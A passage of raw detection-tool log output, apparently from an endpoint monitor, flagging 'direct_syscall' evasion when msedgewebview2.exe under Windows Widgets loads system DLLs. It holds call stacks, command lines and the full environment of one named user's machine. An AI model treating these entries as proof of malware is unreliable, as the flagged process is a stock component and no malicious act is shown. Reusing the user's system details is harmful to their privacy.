C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7fff955741ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff92e56c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7fff441426e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff451f5aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff50a727e9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7fff4400d839 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43192a50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43f0e141 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43f0debb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403145 + Pid: 2880 + Tid: 5052 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1767878 +0100 CET + Params: base_address➜ 7fff8b860000, checksum➜ 450621, default_address➜ 7fff8b860000, file_path➜ C:\Windows\System32\netprofm.dll, image_size➜ 450560, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93d47dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93d479fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93d070a7 C:\Windows\System32\combase.dll!Ordinal178|0x7fff93d0695d C:\Windows\System32\combase.dll!Ordinal232|0x7fff93d47181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c61e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c60b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93da836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93da2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7fff93cebb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7fff93ceb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7fff42390a19 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff423909ce C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff423907e1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42390703 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f5328 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403196 + Pid: 2880 + Tid: 4900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1792859 +0100 CET + Params: base_address➜ 7fff8cef0000, checksum➜ 1123662, default_address➜ 7fff8cef0000, file_path➜ C:\Windows\System32\propsys.dll, image_size➜ 1060864, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93d47dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93d479fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93d070a7 C:\Windows\System32\combase.dll!Ordinal178|0x7fff93d0695d C:\Windows\System32\combase.dll!Ordinal232|0x7fff93d47181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c61e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c60b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93da836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93da2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7fff93cebb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7fff93ceb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7fff903376a3 C:\Windows\System32\windows.storage.dll!SHChangeNotifyRegisterThread|0x7fff9033704e C:\Windows\System32\windows.storage.dll!SHChangeNotifyRegisterThread|0x7fff903eb1b9 C:\Windows\System32\windows.storage.dll!SHGetSetFolderCustomSettings|0x7fff903eafe1 C:\Windows\System32\windows.storage.dll!SHGetSetFolderCustomSettings|0x7fff903eaf43 C:\Windows\System32\windows.storage.dll!ILLoadFromStreamEx|0x7fff904cc5ab C:\Windows\System32\windows.storage.dll!Ordinal2001|0x7fff904cc485 C:\Windows\System32\windows.storage.dll!Ordinal2001|0x7fff43d261b0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff45532db5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff440169b3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43f82f13 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43b25042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff425fd752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff425fd6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403498 + Pid: 2880 + Tid: 5052 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1923997 +0100 CET + Params: base_address➜ 7fff84b70000, checksum➜ 124253, default_address➜ 7fff84b70000, file_path➜ C:\Windows\System32\npmproxy.dll, image_size➜ 102400, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming 